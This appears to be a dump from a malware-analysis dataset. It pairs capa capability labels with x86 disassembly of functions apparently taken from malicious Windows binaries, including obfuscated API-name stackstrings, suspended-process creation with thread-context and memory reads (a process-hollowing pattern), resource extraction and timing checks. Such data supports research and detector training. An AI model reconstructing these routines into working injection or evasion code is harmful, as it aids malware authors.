joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409e09
Capabilities:
Generate random numbers using the delphi lcg

Disassembly:
mov eax, dword [0x426c68]
mov ecx, eax
xor ecx, dword [esp + 4]
shr eax, 8
mov edx, 0xff
and ecx, edx
xor eax, dword [ecx*4 + 0x41b728]
mov ecx, dword [0x426c70]
mov dword [0x426c68], eax
movzx eax, al
add eax, dword [0x426c6c]
imul eax, eax, 0x8088405
inc eax
mov dword [0x426c6c], eax
shr eax, 0x18
xor eax, ecx
and eax, edx
shr ecx, 8
xor ecx, dword [eax*4 + 0x41b728]
mov eax, dword [esp + 4]
mov dword [0x426c70], ecx
ret

Function at 0x409e99
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x41a4c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push dword [0x41cb74]
mov esi, ecx
call fcn.00409e61
push 0xc
lea eax, [ebp - 0x10]
push esi
push eax
call fcn.004013a8
add esp, 0x10
xor esi, esi
lea edx, [ebp + esi - 0x10]
call fcn.00409def
xor byte [edx], al
movzx eax, byte [edx]
push eax
call fcn.00409e09
inc esi
cmp esi, 0xc
pop ecx
jl 0x409ec8
cmp dword [0x41cb70], 0
movzx ax, byte [ebp - 5]
movzx eax, ax
pop esi
je 0x409f07
movzx cx, byte [0x41b70f]
cmp ax, cx
je 0x409f11
or eax, 0xffffffff
jmp 0x409f13
movzx cx, byte [0x41b715]
jmp 0x409efd
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040aba0
leave
ret

Function at 0x40aba0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x41a4c0]
jne 0x40abaa
repz ret
jmp fcn.0040c9dd
Function at 0x413d97
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0040d4d9
xor ebx, ebx
cmp dword [0x42774c], ebx
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
mov dword [ebp - 0xc], ebx
jne 0x413e6c
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
jne 0x413dd7
xor eax, eax
jmp 0x413f30
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x417e34
push edi
call esi
cmp eax, ebx
je 0x413dd0
push eax
call fcn.0040d476
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x42774c], eax
call esi
push eax
call fcn.0040d476
mov dword [esp], 0x417e10
push edi
mov dword [0x427750], eax
call esi
push eax
call fcn.0040d476
mov dword [0x427754], eax
lea eax, [ebp - 8]
push eax
call fcn.0040fad0
test eax, eax
pop ecx
pop ecx
je 0x413e3a
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040b190
add esp, 0x14
cmp dword [ebp - 8], 2
jne 0x413e6c
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.0040d476
cmp eax, ebx
pop ecx
mov dword [0x42775c], eax
je 0x413e6c
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0040d476
pop ecx
mov dword [0x427758], eax
mov eax, dword [0x427758]
mov esi, dword [ebp - 0x10]
cmp eax, esi
je 0x413ee5
cmp dword [0x42775c], esi
je 0x413ee5
push eax
call fcn.0040d4e2
pop ecx
call eax
cmp eax, ebx
je 0x413eb2
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
push dword [0x42775c]
call fcn.0040d4e2
pop ecx
call eax
test eax, eax
je 0x413eb2
test byte [ebp - 0x18], 1
jne 0x413ee5
lea eax, [ebp - 0xc]
push eax
call fcn.0040fb07
test eax, eax
pop ecx
je 0x413ecd
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.0040b190
add esp, 0x14
cmp dword [ebp - 0xc], 4
jb 0x413edc
or dword [ebp + 0x10], 0x200000
jmp 0x413f16
or dword [ebp + 0x10], 0x40000
jmp 0x413f16
mov eax, dword [0x427750]
cmp eax, esi
je 0x413f16
push eax
call fcn.0040d4e2
pop ecx
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x413f16
mov eax, dword [0x427754]
cmp eax, esi
je 0x413f16
push dword [ebp - 4]
push eax
call fcn.0040d4e2
pop ecx
call eax
mov dword [ebp - 4], eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
push dword [0x42774c]
call fcn.0040d4e2
pop ecx
call eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000354d
Capabilities:
Create thread

Disassembly:
push dword [ebp + 0x10]
push dword [ebp - 0x148]
push dword [0x101d832c]
jmp fcn.10003240
Function at 0x1000d900
Capabilities:
Contain obfuscated stackstrings

Disassembly:
sub esp, 0x28
mov eax, dword [0x100c2d54]
xor eax, esp
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x3c]
push ebx
mov ebx, dword [esp + 0x34]
mov dword [esp + 4], eax
mov al, 0x64
push ebp
mov ebp, dword [esp + 0x34]
mov cl, 0x61
mov byte [esp + 0xd], al
mov byte [esp + 0x15], al
mov al, 0x6c
push esi
push edi
mov byte [esp + 0x14], cl
mov byte [esp + 0x16], 0x76
mov byte [esp + 0x17], cl
mov byte [esp + 0x18], 0x70
mov byte [esp + 0x19], 0x69
mov byte [esp + 0x1a], 0x33
mov byte [esp + 0x1b], 0x32
mov byte [esp + 0x1c], 0x2e
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], al
mov byte [esp + 0x20], 0
test ecx, ecx
lea ecx, [esp + 0x14]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
test bh, bh
test bh, bh
test esi, esi
je 0x1000da0a
mov al, 0x65
mov byte [esp + 0x24], 0x52
mov byte [esp + 0x25], al
mov byte [esp + 0x26], 0x67
mov byte [esp + 0x27], 0x4f
mov byte [esp + 0x28], 0x70
mov byte [esp + 0x29], al
mov byte [esp + 0x2a], 0x6e
mov byte [esp + 0x2b], 0x4b
mov byte [esp + 0x2c], al
mov byte [esp + 0x2d], 0x79
mov byte [esp + 0x2e], 0x45
mov byte [esp + 0x2f], 0x78
mov byte [esp + 0x30], 0x41
mov byte [esp + 0x31], 0
test esi, esi
lea edx, [esp + 0x24]
push edx
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
mov ecx, ecx
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov edx, edx
test edi, edi
je 0x1000da0a
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x48]
mov edx, dword [esp + 0x44]
push eax
push ecx
push edx
push ebx
push ebp
call edi
pop edi
pop esi
pop ebp
pop ebx
mov ecx, dword [esp + 0x24]
xor ecx, esp
call fcn.1005df84
add esp, 0x28
ret 0x14
mov ecx, dword [esp + 0x34]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
xor eax, eax
call fcn.1005df84
add esp, 0x28
ret 0x14

Function at 0x1000ff80
Capabilities:
Contain obfuscated stackstrings
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x218
mov eax, dword [0x100c2d54]
xor eax, ebp
mov dword [ebp - 4], eax
mov byte [ebp - 0x218], 0
push 0x1ff
push 0
lea eax, [ebp - 0x217]
push eax
call fcn.1005e5f0
add esp, 0xc
mov dl, dl
push 0x200
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
test eax, eax
mov byte [ebp - 0x14], 0x25
invalid
inc ebp
Function at 0x10010530
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [0x100c2d54]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [0x101c7808], 0
jne 0x100105f5
mov byte [ebp - 0x28], 0x77
mov byte [ebp - 0x27], 0x69
mov byte [ebp - 0x26], 0x6e
mov byte [ebp - 0x25], 0x33
mov byte [ebp - 0x24], 0x32
mov byte [ebp - 0x23], 0x75
mov byte [ebp - 0x22], 0x2e
mov byte [ebp - 0x21], 0x64
mov byte [ebp - 0x20], 0x6c
mov byte [ebp - 0x1f], 0x6c
mov byte [ebp - 0x1e], 0
mov dh, dh
mov byte [ebp - 0x1c], 0x4e
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x55
mov byte [ebp - 0x19], 0x73
mov byte [ebp - 0x18], 0x65
mov byte [ebp - 0x17], 0x72
mov byte [ebp - 0x16], 0x4f
mov byte [ebp - 0x15], 0x70
mov byte [ebp - 0x14], 0x65
mov byte [ebp - 0x13], 0x6e
mov byte [ebp - 0x12], 0x49
mov byte [ebp - 0x11], 0x6e
mov byte [ebp - 0x10], 0x70
mov byte [ebp - 0xf], 0x75
mov byte [ebp - 0xe], 0x74
mov byte [ebp - 0xd], 0x44
mov byte [ebp - 0xc], 0x65
mov byte [ebp - 0xb], 0x73
mov byte [ebp - 0xa], 0x6b
mov byte [ebp - 9], 0x74
mov byte [ebp - 8], 0x6f
mov byte [ebp - 7], 0x70
mov byte [ebp - 6], 0
test esi, esi
lea eax, [ebp - 0x1c]
push eax
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x101c7808], eax
mov esi, esi
cmp dword [0x101c7808], 0
jne 0x10010602
xor eax, eax
jmp 0x10010607
mov eax, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1005df84
mov esp, ebp
pop ebp
ret
Function at 0x10016660
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x100c2d54]
xor eax, ebp
mov dword [ebp - 0x1c], eax
test eax, 0x3e4
test eax, 0x4417
mov dword [ebp - 0x48], 0
test dl, dl
mov dword [ebp - 0x4c], 0
mov edi, edi
mov byte [ebp - 0x44], 0x6e
mov byte [ebp - 0x43], 0x74
mov byte [ebp - 0x42], 0x64
mov byte [ebp - 0x41], 0x6c
mov byte [ebp - 0x40], 0x6c
mov byte [ebp - 0x3f], 0x2e
mov byte [ebp - 0x3e], 0x64
mov byte [ebp - 0x3d], 0x6c
mov byte [ebp - 0x3c], 0x6c
mov byte [ebp - 0x3b], 0
test al, al
mov byte [ebp - 0x38], 0x4e
mov byte [ebp - 0x37], 0x74
mov byte [ebp - 0x36], 0x51
mov byte [ebp - 0x35], 0x75
mov byte [ebp - 0x34], 0x65
mov byte [ebp - 0x33], 0x72
mov byte [ebp - 0x32], 0x79
mov byte [ebp - 0x31], 0x49
mov byte [ebp - 0x30], 0x6e
mov byte [ebp - 0x2f], 0x66
mov byte [ebp - 0x2e], 0x6f
mov byte [ebp - 0x2d], 0x72
mov byte [ebp - 0x2c], 0x6d
mov byte [ebp - 0x2b], 0x61
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x69
mov byte [ebp - 0x28], 0x6f
mov byte [ebp - 0x27], 0x6e
mov byte [ebp - 0x26], 0x50
mov byte [ebp - 0x25], 0x72
mov byte [ebp - 0x24], 0x6f
mov byte [ebp - 0x23], 0x63
mov byte [ebp - 0x22], 0x65
mov byte [ebp - 0x21], 0x73
mov byte [ebp - 0x20], 0x73
mov byte [ebp - 0x1f], 0
mov ch, ch
lea eax, [ebp - 0x38]
push eax
lea ecx, [ebp - 0x44]
push ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x48], eax
test eax, eax
cmp dword [ebp - 0x48], 0
je 0x10016768
mov esi, esi
lea edx, [ebp - 0x50]
push edx
push 0x18
lea eax, [ebp - 0x18]
push eax
push 0
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 0x48]
mov dword [ebp - 0x54], eax
test ebx, ebx
cmp dword [ebp - 0x54], 0
jl 0x10016768
mov edx, dword [ebp - 0x14]
mov dword [ebp - 0x4c], edx
test ah, ah
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.1005df84
mov esp, ebp
pop ebp
ret
Function at 0x10016da0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
mov eax, dword [0x100c2d54]
xor eax, ebp
mov dword [ebp - 0xc], eax
test eax, 0x45a1
mov dword [ebp - 4], 0
mov eax, eax
mov dword [ebp - 8], 0
test dl, dl
mov byte [ebp - 0x18], 0x6e
mov byte [ebp - 0x17], 0x74
mov byte [ebp - 0x16], 0x64
mov byte [ebp - 0x15], 0x6c
mov byte [ebp - 0x14], 0x6c
mov byte [ebp - 0x13], 0x2e
mov byte [ebp - 0x12], 0x64
mov byte [ebp - 0x11], 0x6c
mov byte [ebp - 0x10], 0x6c
mov byte [ebp - 0xf], 0
test eax, 0x3ee3
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x1c], eax
push eax
pop eax
cmp dword [ebp - 0x1c], 0
je 0x10016e93
mov byte [ebp - 0x34], 0x5a
mov byte [ebp - 0x33], 0x77
mov byte [ebp - 0x32], 0x55
mov byte [ebp - 0x31], 0x6e
mov byte [ebp - 0x30], 0x6d
mov byte [ebp - 0x2f], 0x61
mov byte [ebp - 0x2e], 0x70
mov byte [ebp - 0x2d], 0x56
mov byte [ebp - 0x2c], 0x69
mov byte [ebp - 0x2b], 0x65
mov byte [ebp - 0x2a], 0x77
mov byte [ebp - 0x29], 0x4f
mov byte [ebp - 0x28], 0x66
mov byte [ebp - 0x27], 0x53
mov byte [ebp - 0x26], 0x65
mov byte [ebp - 0x25], 0x63
mov byte [ebp - 0x24], 0x74
mov byte [ebp - 0x23], 0x69
mov byte [ebp - 0x22], 0x6f
mov byte [ebp - 0x21], 0x6e
mov byte [ebp - 0x20], 0
test eax, eax
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 4], eax
mov ebp, ebp
cmp dword [ebp - 4], 0
je 0x10016e93
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [ebp - 4]
neg eax
sbb eax, eax
add eax, 1
mov dword [ebp - 8], eax
mov dh, dh
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.1005df84
mov esp, ebp
pop ebp
ret
Function at 0x10016eb0
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x80
mov bh, bh
mov ah, ah
test dh, dh
mov bl, bl
push 0x44
push 0
lea eax, [ebp - 0x60]
push eax
call fcn.1005e5f0
add esp, 0xc
mov esi, esi
xor ecx, ecx
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0xc], ecx
mov bl, bl
mov dword [ebp - 0x60], 0x44
test eax, 0x6240
lea edx, [ebp - 0x18]
push edx
lea eax, [ebp - 0x60]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov ecx, dword [ebp + 8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 8], eax
mov dl, dl
cmp dword [ebp - 8], 0
je 0x10016fce
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp - 0x18]
mov dword [edx], eax
mov bh, bh
mov ecx, dword [ebp + 0x14]
mov edx, dword [ebp - 0x14]
mov dword [ecx], edx
test eax, 0x7e9c
mov eax, dword [ebp + 0x18]
mov ecx, dword [ebp - 0x10]
mov dword [eax], ecx
test al, al
mov edx, dword [ebp + 0xc]
mov dword [edx], 0x10007
test dl, dl
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test edi, edi
lea eax, [ebp - 4]
push eax
push 4
mov ecx, dword [ebp + 0x1c]
push ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [edx + 0xa4]
add eax, 8
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp + 0x1c]
mov ecx, dword [eax]
mov dword [ebp - 0x80], ecx
mov ch, ch
push 0x1c
lea edx, [ebp - 0x7c]
push edx
mov eax, dword [ebp - 0x80]
push eax
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test eax, eax
je 0x10016fbf
mov dword [ebp - 0x6c], 0x10000
cmp dword [ebp - 0x6c], 0
je 0x10016fb2
jmp 0x10016fbf
mov eax, dword [ebp - 0x80]
add eax, dword [ebp - 0x70]
mov dword [ebp - 0x80], eax
xchg ebx, eax
xchg ebx, eax
jmp 0x10016f89
mov ecx, dword [ebp + 0x1c]
mov edx, dword [ebp - 0x80]
sub edx, dword [ecx]
mov eax, dword [ebp + 0x20]
mov dword [eax], edx
xchg ebx, eax
xchg ebx, eax
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret
Function at 0x1001d690
Capabilities:
Resolve function by parsing pe exports

Disassembly:
sub esp, 0x1a0
mov eax, dword [0x100c2d54]
xor eax, esp
mov dword [esp + 0x19c], eax
cmp byte [0x101c7b50], 0
mov dword [esp + 4], edx
je 0x1001d6db
mov eax, 0x101c7b50
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
test cl, cl
jne 0x1001d6b8
test bh, bh
mov ecx, dword [esp + 0x19c]
xor ecx, esp
call fcn.1005df84
add esp, 0x1a0
ret
push ebx
push ebp
mov dword [esp + 0x10], 0x400
mov dword [esp + 0x14], 0x170
mov dword [esp + 0x18], 0x4e
mov dword [esp + 0x1c], 0x60d1
mov dword [esp + 0x20], 0x26d9
mov dword [esp + 0x24], 0x15d01
mov dword [esp + 0x28], 0x1f07
mov dword [esp + 0x2c], 0x120c4
mov dword [esp + 0x30], 0x16aa2
mov dword [esp + 0x34], 0xe18e3
mov dword [esp + 0x38], 0x39fb4
mov dword [esp + 0x3c], 0xc1740
mov dword [esp + 0x40], 0x13583
mov dword [esp + 0x44], 0xea
mov dword [esp + 0x48], 0x25fd
mov dword [esp + 0x4c], 0xb12
mov dword [esp + 0x50], 0x37f
mov dword [esp + 0x54], 0x3ff
mov dword [esp + 0x58], 0x24
mov dword [esp + 0x5c], 7
mov dword [esp + 0x60], 0x9ae
mov dword [esp + 0x64], 0x3e2
mov dword [esp + 0x68], 0x22e6
mov dword [esp + 0x6c], 0x31a
mov dword [esp + 0x70], 0x1ce0
mov dword [esp + 0x74], 0x2443
mov dword [esp + 0x78], 0x168e3
mov dword [esp + 0x7c], 0x5cc5
mov dword [esp + 0x80], 0x13586
mov dword [esp + 0x84], 0x1ef3
mov dword [esp + 0x88], 0x17
mov dword [esp + 0x8c], 0x3cc
mov dword [esp + 0x90], 0x11b
mov dword [esp + 0x94], 0x59
mov edi, edi
test al, al
test bl, bl
mov ebp, dword [sym.imp.KERNEL32.dll_CreateFileA]
push esi
mov dword [esp + 0xc], 0
mov bl, 0x5c
push edi
mov edi, dword [esp + 0x10]
xor esi, esi
add edi, 0x61
test ch, ch
mov byte [esp + 0xa0], bl
mov byte [esp + 0xa1], bl
mov byte [esp + 0xa2], 0x2e
mov byte [esp + 0xa3], bl
mov byte [esp + 0xa4], 0x25
mov byte [esp + 0xa5], 0x63
mov byte [esp + 0xa6], 0x25
mov byte [esp + 0xa7], 0x64
mov byte [esp + 0xa8], 0
mov ah, ah
mov eax, dword [esp + esi*4 + 0x18]
push eax
push edi
lea ecx, [esp + 0xa8]
push ecx
lea edx, [esp + 0xb8]
push edx
call fcn.1005f107
add esp, 0x10
test edi, edi
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
lea eax, [esp + 0xc4]
push eax
call ebp
mov eax, eax
cmp eax, 0xffffffff
jne 0x1001d8ee
add esi, 1
cmp esi, 0x22
jb 0x1001d820
mov eax, dword [esp + 0x10]
add eax, 1
cmp eax, 0x19
mov dword [esp + 0x10], eax
jl 0x1001d817
mov ecx, dword [esp + 0x14]
mov byte [ecx], 0
test edx, edx
mov ecx, dword [esp + 0x1ac]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1005df84
add esp, 0x1a0
ret
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test ebx, ebx
xor eax, eax
lea esp, [esp]
mov cl, byte [esp + eax + 0xac]
mov byte [eax + 0x101c7b50], cl
add eax, 1
test cl, cl
jne 0x1001d900
mov al, al
mov edx, dword [esp + 0x14]
mov eax, 0x101c7b50
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
add eax, 1
test cl, cl
jne 0x1001d921
mov dl, dl
jmp 0x1001d8d5
Function at 0x1001d940
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x508
mov eax, dword [0x100c2d54]
xor eax, esp
mov dword [esp + 0x504], eax
mov ecx, dword [esp + 0x50c]
test edx, edx
mov eax, dword [ecx + 4]
mov ecx, ecx
cmp eax, 1
jne 0x1001d972
mov byte [esp + 0x104], al
mov edi, edi
jmp 0x1001d9d7
cmp eax, 2
jne 0x1001d982
mov byte [esp + 0x104], al
push edx
pop edx
jmp 0x1001d9d7
cmp eax, 3
jne 0x1001d992
mov byte [esp + 0x104], al
mov bh, bh
jmp 0x1001d9d7
cmp eax, 5
jne 0x1001d9a2
mov byte [esp + 0x104], al
push eax
pop eax
jmp 0x1001d9d7
cmp eax, 6
jne 0x1001d9b5
mov byte [esp + 0x104], al
test eax, 0x1a0e
jmp 0x1001d9d7
cmp eax, 7
jne 0x1001d9c5
mov byte [esp + 0x104], al
mov ecx, ecx
jmp 0x1001d9d7
cmp eax, 8
jne 0x1001da9b
mov byte [esp + 0x104], al
push edx
pop edx
push esi
push edi
mov edi, dword [esp + 0x518]
lea eax, [edi - 8]
push eax
add ecx, 8
push ecx
lea ecx, [esp + 0x115]
push ecx
call fcn.1005f780
add esp, 0xc
test ah, ah
test dl, dl
lea edx, [esp + 0xc]
call fcn.1001d690
test edx, edx
push 0
push 0x80
push 3
push 0
push 1
push 0xc0000000
lea edx, [esp + 0x24]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
test ah, ah
cmp esi, 0xffffffff
je 0x1001da82
mov dword [esp + 8], 0
test ch, ch
push 0
lea eax, [esp + 0xc]
push eax
add edi, 0xfffffff9
push edi
lea ecx, [esp + 0x118]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test bh, bh
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, 0xed6
cmp dword [esp + 8], 0
jne 0x1001da82
pop edi
mov eax, 1
pop esi
mov ecx, dword [esp + 0x504]
xor ecx, esp
call fcn.1005df84
add esp, 0x508
ret
pop edi
xor eax, eax
pop esi
mov ecx, dword [esp + 0x504]
xor ecx, esp
call fcn.1005df84
add esp, 0x508
ret
mov ecx, dword [esp + 0x504]
xor ecx, esp
xor eax, eax
call fcn.1005df84
add esp, 0x508
ret
Function at 0x1001e370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push edi
mov edi, dword [esp + 0x10]
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x1001e389
pop edi
pop ebx
ret
push esi
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x1001e3c4
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x18]
add eax, esi
and ecx, 0xf
jbe 0x1001e3c0
lea ebx, [ebx]
cmp esi, eax
jae 0x1001e3c4
sub ecx, 1
movzx edx, word [esi]
lea esi, [esi + edx*2 + 2]
jne 0x1001e3b0
cmp esi, eax
jb 0x1001e3ca
pop esi
pop edi
xor eax, eax
pop ebx
ret
mov ax, word [esi]
neg ax
sbb eax, eax
and eax, esi
pop esi
pop edi
pop ebx
ret

Function at 0x1001f710
Capabilities:
Create thread

Disassembly:
sub esp, 0x14
push esi
push edi
mov edi, edi
mov dword [esp + 8], eax
test dh, dh
mov dword [esp + 0xc], ecx
test al, al
mov dword [esp + 0x10], edx
mov bl, bl
mov eax, dword [esp + 0x20]
mov dword [esp + 0x14], eax
mov bh, bh
mov dword [esp + 0x18], 0
mov dl, dl
call fcn.1001b620
mov edi, eax
mov eax, eax
push 0
push 0
lea ecx, [esp + 0x10]
push ecx
push 0x1001efe0
push 0
push 0
call fcn.1005fd57
add esp, 0x18
mov esi, eax
mov ch, ch
push edi
call fcn.1001b6e0
add esp, 4
test eax, 0x606e
test esi, esi
jne 0x1001f77e
pop edi
xor eax, eax
pop esi
add esp, 0x14
ret
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test ebx, ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov bh, bh
mov eax, dword [esp + 0x18]
pop edi
pop esi
add esp, 0x14
ret

Function at 0x10020090
Capabilities:
Enumerate process modules

Disassembly:
sub esp, 0x228
mov eax, dword [0x100c2d54]
xor eax, esp
mov dword [esp + 0x224], eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
test ah, ah
push eax
push 8
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
mov ah, ah
cmp esi, 0xffffffff
jne 0x100200d6
xor eax, eax
pop esi
mov ecx, dword [esp + 0x224]
xor ecx, esp
call fcn.1005df84
add esp, 0x228
ret
push edi
xor edi, edi
mov dl, dl
mov dh, dh
push 0x224
lea eax, [esp + 0xc]
push edi
push eax
call fcn.1005e5f0
add esp, 0xc
mov edi, edi
mov dword [esp + 8], 0x224
mov ebp, ebp
lea ecx, [esp + 8]
push ecx
push esi
call sub.KERNEL32.dll_Module32First
mov dh, dh
test eax, eax
je 0x10020138
push ebx
mov ebx, dword [esp + 0x238]
cmp ebx, dword [esp + 0x28]
je 0x10020131
lea edx, [esp + 0xc]
push edx
push esi
call sub.KERNEL32.dll_Module32Next
test eax, 0x1cfe
test eax, eax
jne 0x10020115
jmp 0x10020137
mov edi, dword [esp + 0x24]
push ebx
pop ebx
pop ebx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edx, edx
mov ecx, dword [esp + 0x22c]
mov eax, edi
pop edi
pop esi
xor ecx, esp
call fcn.1005df84
add esp, 0x228
ret
Function at 0x10022df0
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x10]
test ebp, ebp
push esi
push edi
jne 0x10022e2b
mov esi, dword [esp + 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
push 1
push esi
call edi
cmp eax, 1
jne 0x10022e77
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call ebx
mov eax, eax
push 1
push esi
call edi
cmp eax, 1
je 0x10022e16
pop edi
pop esi
pop ebp
pop ebx
ret
push ecx
pop ecx
test edi, edi
test eax, eax
mov esi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call esi
mov edi, eax
test ch, ch
mov eax, dword [esp + 0x14]
push 1
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp eax, 1
jne 0x10022e77
mov ebx, dword [sym.imp.KERNEL32.dll_Sleep]
push 1
call ebx
test dh, dh
call esi
test dh, dh
sub eax, edi
cmp eax, ebp
ja 0x10022e77
mov ecx, dword [esp + 0x14]
push 1
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp eax, 1
je 0x10022e55
pop edi
pop esi
pop ebp
pop ebx
ret